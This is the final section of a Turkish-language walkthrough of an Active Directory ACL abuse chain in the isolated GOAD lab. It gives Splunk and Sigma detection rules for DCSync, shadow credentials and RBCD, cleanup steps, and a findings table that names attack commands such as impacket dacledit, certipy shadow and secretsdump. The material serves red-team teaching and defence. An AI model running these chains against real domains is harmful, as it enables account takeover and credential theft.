**Tespit:** Bilgisayar oluşturma Event ID `4741`; RBCD yazması `msDS-AllowedToActOnBehalfOfOtherIdentity` üzerinde `5136`; `S4U` değişimi `TransitedServices` alanı dolu `4769` biletleri olarak görünür. DCSync ise bir Domain Controller olmayan kaynaktan gelen `4662` replikasyon erişimidir (`DS-Replication-Get-Changes`) ve AD'deki en net "oyun bitti" alarmıdır. **Kontrol:** Sıradan kullanıcıların RBCD'nin ihtiyaç duyduğu bilgisayarı oluşturamaması için `MachineAccountQuota` değerini `0` yap; `msDS-AllowedToActOnBehalfOfOtherIdentity` özniteliğini kimin yazabileceğini kısıtla; Domain Admin'leri **Protected Users** grubuna alıp sensitive/non-delegable olarak işaretle ve DC olmayan kaynak hostlardan gelen replikasyon isteklerine alarm ver.

## Savunma telemetrisi ve SIEM tespit kuralları

Bu ACL zinciri boyunca gerçekleşen hareketleri avlamak, SIEM platformlarında LDAP yazma olaylarına ve dizin replikasyonuna odaklanan korelasyon kuralları gerektirir:

### 1. Splunk: DCSync Replikasyon İstismarı (Event ID 4662)

Makine hesabı olmayan veya güvenilmeyen sistemlerden gelen dizin eşitleme taleplerini (`DS-Replication-Get-Changes` GUID `{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}` veya `DS-Replication-Get-Changes-All` GUID `{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}`) tespit eder:

```splunk
index=wineventlog EventCode=4662 ObjectType="domainDNS"
| search AccessMask="0x100" AND (Properties="*{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}*" OR Properties="*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*")
| search NOT (SubjectUserName="*$" OR SubjectUserName="MSOL_*")
| table _time, SubjectUserName, ComputerName, ObjectName, AccessMask, Properties
```

### 2. Splunk: Shadow Credentials Anahtar Bağlantısı Yazımı (Event ID 5136)

Certipy veya Whiskey gibi araçların sertifika destekli parolasız kimlik doğrulama eklemek amacıyla `msDS-KeyCredentialLink` özniteliğine yaptığı yazmaları yakalar:

```splunk
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-KeyCredentialLink" OperationType="%%14674"
| table _time, SubjectUserName, ObjectDN, AttributeValue
```

### 3. Splunk: Domain Controller Üzerinde RBCD Değişikliği (Event ID 5136)

Domain Controller bilgisayar nesnelerinde `msDS-AllowedToActOnBehalfOfOtherIdentity` özniteliğine yapılan yetkisiz değişiklikleri belirler:

```splunk
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| search ObjectDN="*OU=Domain Controllers,DC=*"
| table _time, SubjectUserName, ObjectDN, OperationType
```

### 4. Sigma kural kesiti: DC dışı hesapla dizin replikasyonu

```yaml
title: DC Olmayan Hesap Tarafindan Supheli DCSync Replikasyonu
status: experimental
description: domainDNS nesnesini hedef alan dizin replikasyon haklarinin istismarini tespit eder
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'domainDNS'
  rights:
    AccessList|contains:
      - '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}'
      - '{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}'
  filter:
    SubjectUserName|endswith: '$'
  condition: selection and rights and not filter
falsepositives:
  - Mesru Active Directory senkronizasyon araclari (ornegin Entra Connect / Azure AD Sync)
level: critical
```

## Temizlik

Bu zincirin yarısı canlı dizin durumunu değiştirdi ve profesyonel bir denetim, geri alabildiğini geri alır. `dacledit` ve `owneredit` adımlarının her biri orijinal güvenlik tanımlayıcısının bir `.bak` dosyasını yazdı; bu yüzden `tyron` üzerindeki DACL ile `Kingsguard` üzerindeki sahip/DACL bu yedeklerden geri yüklenebilir. RBCD özniteliği doğrudan DC'den temizlenir ve sahte bilgisayar hesabı kaldırılmalıdır:

```bash
$ impacket-rbcd -delegate-to 'KINGSLANDING$' -action flush 'sevenkingdoms.local/stannis.baratheon' -hashes :d75b...
[*] Delegation rights flushed successfully!
```

Yol boyunca eklenen grup üyelikleri de (tyron'un Small Council, Dragonstone ve Kingsguard üyelikleri) kaldırılmalıdır. Geri alamayacağın tek şey 1. adımdır: `jaime.lannister`'in orijinal parolası artık yoktur. `ForceChangePassword`'ün raporda en yüksek sesle işaretlenmesi gereken adım olmasının nedeni tam da budur; diğer değişiklikler geri alınabilir, ama parola sıfırlaması kullanıcıya ve denetim izine kalıcı olarak yansır. Temizliği eksik bırakmak, laboratuvar dışında gerçek kullanıcıları kilitleyebilecek ve sonraki denetimleri kirletebilecek bir alışkanlıktır; bu yüzden her yıkıcı adımı, geri alma komutuyla birlikte not et.

## Bulguların özeti

| Bulgu | Kenar → hedef | Etki | Doğrula (Kali'den) | Kontrol |
| --- | --- | --- | --- | --- |
| Bir kullanıcı üzerinde `ForceChangePassword` | `tywin` → `jaime` | Hesap ele geçirme (yıkıcı sıfırlama) | `impacket-dacledit -action read` | Yönetici olmayan sıfırlama haklarını kaldır; Protected Users |
| Bir kullanıcı üzerinde `GenericWrite`/`GenericAll` | `jaime` → `joffrey`, `Kingsguard` → `stannis` | Shadow credentials → NT hash, sıfırlama yok | `certipy-ad shadow auto -account <u>` | AD CS / PKINIT'i sıkılaştır; `msDS-KeyCredentialLink`'i kısıtla |
| Bir kullanıcı üzerinde `WriteDacl` | `joffrey` → `tyron` | Kendine tam kontrol ver, sonra ele geçir | `impacket-dacledit -action write -rights FullControl` | `nTSecurityDescriptor` üzerinde `5136`'yı denetle |
| Bir grupta `AddSelf` / `AddMember` | `tyron` → Small Council → Dragonstone | Grubun giden haklarını miras al | `bloodyAD add groupMember` | Grup ACL'lerini üyelik olarak ele al; yuvalamayı düzleştir |
| Bir grupta `WriteOwner` | Dragonstone → Kingsguard | Sahip ol → örtük `WriteDacl` → katıl | `impacket-owneredit` + `dacledit` | Ayrıcalıklı gruplarda sahip değişikliklerini kilitle |
| Bir DC bilgisayarı üzerinde `GenericAll` | `stannis` → `KINGSLANDING$` | RBCD → `Administrator` bileti → DCSync | `impacket-rbcd` + `getST` + `secretsdump -k` | `MachineAccountQuota=0`; RBCD yazmalarını kısıtla; `4662`'ye alarm |

## Sıradaki Bölüm 4'te

`sevenkingdoms.local`'ı ele geçirmek bize orman kökünü verir, ama GOAD bir *çok ormanlı* laboratuvardır. **Bölüm 4**'te ikinci ormana, `essos.local`'e dönüyoruz. Ormanlar arası güven SID filtering uygular (`trustAttributes: 8`); bu yüzden `ExtraSids` / SID history taşıyan sahte bir bilet sınırı Domain Admin olarak *geçmez*. Bunun yerine Bölüm 1'deki `missandei` dayanağını kullanarak `essos.local`'e içeriden saldırıyoruz: kendi ACL zincirini (`missandei → khal.drogo → viserys.targaryen`) yürüyor ve `ESSOS-CA` sertifika şablonlarını (`ESC1`) istismar ederek `daenerys.targaryen`'e ulaşıp ikinci ormanı DCSync ediyoruz.

## Kanıt ve sınırlar

Sekiz adımlı ACL zincirinin tamamı, izole GOAD laboratuvarındaki `sevenkingdoms.local` ve `KINGSLANDING` (`192.168.56.10`) üzerinde yürütüldü. Zincir boyunca yapılan yıkıcı değişiklikler (`jaime.lannister` parola sıfırlaması, `tyron.lannister` ve `Kingsguard` üzerindeki DACL/sahiplik yazmaları, grup eklemeleri ve RBCD bilgisayar hesabı) temizlik aşamasında açıkça geri alındı ve doğrulama sonrasında sanal makine anlık görüntüsü geri yüklendi. Gösterilen hesaplar, parolalar ve hash'ler GOAD test veri kümesine aittir; hiçbir işlem host-only laboratuvar ağının dışına çıkmadı.

## Referanslar

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, AD Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **The Hacker Recipes, Abusing ACEs (DACL):** [thehacker.recipes/ad/movement/dacl](https://www.thehacker.recipes/ad/movement/dacl)
- **Elad Shamir, Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory:** [shenaniganslabs.io](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- **SpecterOps, Shadow Credentials:** [posts.specterops.io](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
- **MITRE ATT&CK, DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006](https://attack.mitre.org/techniques/T1003/006/)
- **MITRE ATT&CK, Account Manipulation (T1098):** [attack.mitre.org/techniques/T1098](https://attack.mitre.org/techniques/T1098/)
